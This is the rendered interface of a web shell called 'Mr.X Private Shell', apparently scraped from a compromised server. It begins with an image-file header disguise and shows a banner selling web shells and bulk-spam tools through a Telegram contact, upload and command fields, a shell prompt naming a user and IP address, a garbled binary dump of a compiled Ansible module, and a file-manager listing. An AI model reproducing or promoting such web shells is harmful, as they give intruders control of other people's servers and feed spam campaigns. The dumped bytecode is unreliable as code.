����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
a

�)g<�@s\ddlmZmZmZeZddlZddlZddlm	Z	m
Z
Gdd�de	�ZGdd�de
�ZdS)�)�absolute_import�division�print_functionN)�Virtual�VirtualCollectorc@seZdZdZdZdd�ZdS)�HPUXVirtualzv
    This is a HP-UX specific subclass of Virtual. It defines
    - virtualization_type
    - virtualization_role
    �HP-UXcCsTi}t�}t�}tj�d�rP|j�d�\}}}|dkrP|�d�d|d<d|d<tj�d�r�|j�d�\}}}|dkr�t�d|�r�|�d	�d|d<d	|d<n^|dkr�t�d
|�r�|�d�d|d<d|d<n.|dkr�t�d|�r�|�d
�d|d<d
|d<tj�d��r@|j�d�\}}}|dk�r@|�d�d|d<d|d<||d<||d<|S)Nz/usr/sbin/vecheckrzHP vParZguestZvirtualization_typeZvirtualization_rolez/opt/hpvm/bin/hpvminfoz.*Running.*HPVM vPar.*z	HPVM vParz.*Running.*HPVM guest.*zHPVM IVMz.*Running.*HPVM host.*ZHPVM�hostz/usr/sbin/parstatuszHP nParZvirtualization_tech_guestZvirtualization_tech_host)	�set�os�path�exists�moduleZrun_command�add�re�match)�selfZ
virtual_factsZ	host_techZ
guest_tech�rc�out�err�r�K/usr/lib/python3.9/site-packages/ansible/module_utils/facts/virtual/hpux.py�get_virtual_facts!s@







zHPUXVirtual.get_virtual_factsN)�__name__�
__module__�__qualname__�__doc__�platformrrrrrrsrc@seZdZeZdZdS)�HPUXVirtualCollectorrN)rrrrZ_fact_classZ	_platformrrrrrFsr)
Z
__future__rrr�typeZ
__metaclass__rrZ'ansible.module_utils.facts.virtual.baserrrrrrrr�<module>s-

Filemanager

Name Type Size Permission Actions
__init__.cpython-39.opt-1.pyc File 170 B 0644
__init__.cpython-39.pyc File 170 B 0644
base.cpython-39.opt-1.pyc File 1.98 KB 0644
base.cpython-39.pyc File 1.98 KB 0644
dragonfly.cpython-39.opt-1.pyc File 624 B 0644
dragonfly.cpython-39.pyc File 624 B 0644
freebsd.cpython-39.opt-1.pyc File 1.85 KB 0644
freebsd.cpython-39.pyc File 1.85 KB 0644
hpux.cpython-39.opt-1.pyc File 1.82 KB 0644
hpux.cpython-39.pyc File 1.82 KB 0644
linux.cpython-39.opt-1.pyc File 6.45 KB 0644
linux.cpython-39.pyc File 6.45 KB 0644
netbsd.cpython-39.opt-1.pyc File 1.65 KB 0644
netbsd.cpython-39.pyc File 1.65 KB 0644
openbsd.cpython-39.opt-1.pyc File 1.87 KB 0644
openbsd.cpython-39.pyc File 1.87 KB 0644
sunos.cpython-39.opt-1.pyc File 2.63 KB 0644
sunos.cpython-39.pyc File 2.63 KB 0644
sysctl.cpython-39.opt-1.pyc File 2.34 KB 0644
sysctl.cpython-39.pyc File 2.34 KB 0644